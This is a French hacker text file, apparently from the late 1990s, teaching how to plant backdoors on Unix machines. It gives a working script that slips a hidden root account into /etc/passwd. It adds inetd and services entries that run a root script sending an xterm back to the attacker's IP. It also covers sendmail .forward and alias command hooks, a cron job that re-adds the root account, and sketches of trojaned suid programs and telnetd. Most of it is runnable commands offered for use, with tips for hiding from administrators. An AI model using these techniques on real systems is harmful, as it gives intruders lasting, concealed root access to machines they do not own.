-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=- -= Back door unix =- (par buble) Ce petit texte ne se prétend pas exhaustif bien au contraire, mais propose seulement d'expliquer quelques BackDoor. 1/ L'ajout d'un compte avec l'UID à 0 C'est évidemment la manière la plus simple mais aussi la moins efficace : la modification est flagrante. De plus le fichier passwd est une des première chose que l'admin va regarder s'il pense être victime d'une attaque. Néanmoins il peut être pratique de la connaître. Avant de rajouter un acompte, lister le fichier passwd pour voir comment les champs de commentaires sont remplis. Voici ci-dessous un script permettant de rajouter un acompte au milieu du fichier passwd # Ajoute #!/bin/csh # Inserts a UID 0 account into the middle of the passwd file. set linecount = `wc -l < /etc/passwd` # Compte le nombre de lignes cd # Retourne dans le Home directorie cp /etc/passwd ./temppass # Copie le fichier passwd dans un fichier temporaire echo passwd file has $linecount[1] lines. # Dis le nombre de ligne du fichier passwd @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files echo Creating two files, $linecount[1] lines each \(or approximately that\). split -$linecount[1] ./temppass # passwd string optional echo "dupond::0:0:etudiant 1 année/:/bin/bash" >> ./xaa # A remplir en fonction des ligne de /etc/passwd cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... Note: NE CHANGEZ JAMAIS LE MOT DE PASSE DU ROOT ! Note': Sur certains OS, tels que SUN OS, il est impossible pour un utilisateur ayant son UID à 0 de se connecter à distance, il faut donc se connecter en tant qu'utilisateur normal puis faire un su utilisateur_root. Dans le même ordre d'idée vous pouvez déverrouillez un acompte d'administration tel que Synk qui possède un uid a 0 ou en encore un compte verrouillé depuis longtemps. Pour ce faire, retirez simplement le caractère '*' du 2eme champs Note: sur certains systèmes Unix, l'ajout d'un caractère quelconque dans le champ UID d'un utilisateur, met l'UID de cette personne à 0. 2/ Rajout d'un service Une autre méthode est souvent bien plus efficace, elle consiste à rajouter un service qui pourra exécuter à distance, par un telnet sur le port crée à cet effet, un script shell effectuant la/les commande(s) souhaitée(s). Mais tout d'abord je vais expliquer 2 fichiers: /etc/services et /etc/inetd.conf. /etc/services est le fichier qui fait le lien entre les ports de la couche transport et les services correspondants, exemple : ftp 21/tcp file tranfert protocol (1) (2)/(3) (4) Le champs (1) représente le nom du service il fait le lien avec le champ (1) de /etc/inetd.conf. Le champ (2) est le numéro de port alloué. Le champs (3) est le protocole de la couche transport utilisé. Le champs (4) est réservé au commentaire. /etc/inetd.conf est le fichier permettant de configurer le démon inetd qui est le démon qui prend en charge les démons tels que in.ftpd ou in.telnetd. Ce fichier est présenté de la manière suivante. ftp stream tcp nowait root /usr/sbin/in.ftpd (1) (2) (3) (4) (5) (6) (7) Le champ (1) représente le service, il doit être pareil au champs (1) de /etc/services. Le champs (2) est le type de paquet envoyé : Si le protocole est TCP ce sera des trames si c'est UDP se sera des datagrammes. Le champs (3) est le protocole utilise. Le champs (4) est je sais pas quoi. Le champs (5) est avec quel UID est lancé le démon. Le champs (6) est l'emplacement sur la machine du démon. Le champ (7) permet de donner les option avec lesquels le démon sera lancé, dans cet exemple le démon est lancé sans options supplémentaires. La méthode consiste donc a modifier les deux fichiers présentés ci-dessus afin de pouvoir exécuter un script shell ou un programme C à distance. Le programme peut par exemple rajouter une ligne dans /etc/passwd ou bien un "+ +" dans le rhosts du root. La limite du programme est celle de votre imagination. Exemple: Ajouter la ligne suivante dans /etc/services: evil 666/tcp root of all evil Ajouter la ligne suivante dans /etc/inetd.conf: evil stream tcp nowait root /usr/sbin/in.yepd Créer le script shell suivant, appelez le in.yepd, mettez les droits d'exécution du script, et mettez le dans /usr/sbin/ #!/bin/sh #Ce script permet de se faire envoyer un xterm xterm -display votre_addresse_ip:0 & #Ce script ne marche évidemment que si vous avez une adresse IP fixe 3/ Par le sendmail Cette méthode est basée sur les fonctionnalités de réemission du courrier electronique, notamment grƒce au fichier .forward. Ce fichier permet de réexpédier du courrier destiné a quelqu'un vers une autre boite au lettre électronique. De plus Ce fichier peut aussi exécuter des commandes lorsque l'utilisateur reçoit un mail. Ce fichier doit être mis dans le home directorie pour bénéficier de ses fonctionnalités. Exemple de .forward ( appartient a reagan@rigoler.com) coolspot@7up.com wistiti@fbi.com "|/bin/ping -l 1 whitehouse.gov" Quand un mail est envoyé à reagan, il est renvoyé automatiquement a coolspot chez 7up.com, et a wistiti a fbi.com. De plus, un ping est effectué sur la maison blanche. Une autre méthode dans un même ordre d'idée est de rajouter une ligne dans /etc/aliases qui exécutera un script shell exemple: evil: "|/ma/commande" ainsi quand un mail sera envoyé a evil, /ma/commande sera exécuté. Note: je n'ai pas réussi a créer des backdoor sendmail sous linux red hat 5.0. Si quelqu'un sait comment faire qu'il me mail à BuBle@caramail.com 4/ Les crontabs Le démon cron est un démon permettant d'exécuter des commandes à intervalles régulier. Il se configure par chaque utilisateur. Pour ajouter un service utilisant crond, il faut éditer le fichier /var/spool/crontab/nom_d'utilisateur ayant la forme suivante: 5 15 * * * /bin/pti_programme (1) (2) (3) (4) (5) (6) Les cinq premiers champs permettent de régler le moment ou la commande est lancé, le 6eme champs est la commande a effectuer. Le champs 1 correspond au minutes(de 0 a 59) Le champs 2 correspond au heures(de 0 a 23) Le champs 3 correspond au jour du mois(de 1 a 31) Le champs 4 correspond au mois de l'année(de 1 a 12) Le champs 5 correspond au jour de la semaine(de 0 a 6. le 0 est le dimanche) Donc dans l'exemple ci-dessus, pti_programme est lancé à 15h 5min tous les jours La technique consiste donc a rajouter une crontab qui vérifiera par exemple si a ligne mise dans /etc/passwd est toujours présente: #!/bin/sh # Ce scripte permet de remettre une ligne dans /etc/passwd if !(grep dupond::0:0:etudiant 1 annee:/:/bin/bash /etc/passwd > /dev/null) ; then # La ligne est non présente /tmp/ajoute 2>/dev/null else # La ligne est présente exit 0 fi 5/ Trafiquer un programme La c clair il faut récupérer les sources d'un programme qui doit obligatoirement avoir le bit suid, tel que login ou ... et rajouter un bout de programme du style: si l'argument 1 est truc alors { met l'uid a 0 met le gid a 0 lance un shell } quand le programme sera lancé avec l'argument truc, le prog te passe root. Note cette technique nécessite d'avoir déjà un accès normal au système. 6/ La modification du démon telnet Dans ce cas, il faut récupérer la source du démon telnet utilisé par cible.com et la modifier de telle manière que lorsque l'on demande un login, on rentre une certaine variable exécutant directement une session telnet. Je ne me suis pas trop penché sur la manière de coder ce type de backdoor, mais sachez que c'est, je pense un des meilleur types de backdoor possibles. Il existe encore d'autres type de backdoor notamment certaines allant modifier la valeur des registres mémoires du système mais je ne les ai pas pour l'instant étudiés. Voilà ce premier texte sur les backdoors écrit par mes soins est finis si vous avez des question, commentaires, correction, ou informations supplémentaires, vous pouvez m'envoyer un mail a BuBle@altern.org ou me retrouver sur #hack.fr sur le réseau Undernet. Remerciements: Je tient a remercié ici Cleb, qui ma ouvert la voie quand j'étais franchement un débutant, je tient a saluer ici aussi mes potes: Xi9, Kthulu, les membres de hack.fr et tous les gens qui vont sur #hack.fr. BuBle@altern.org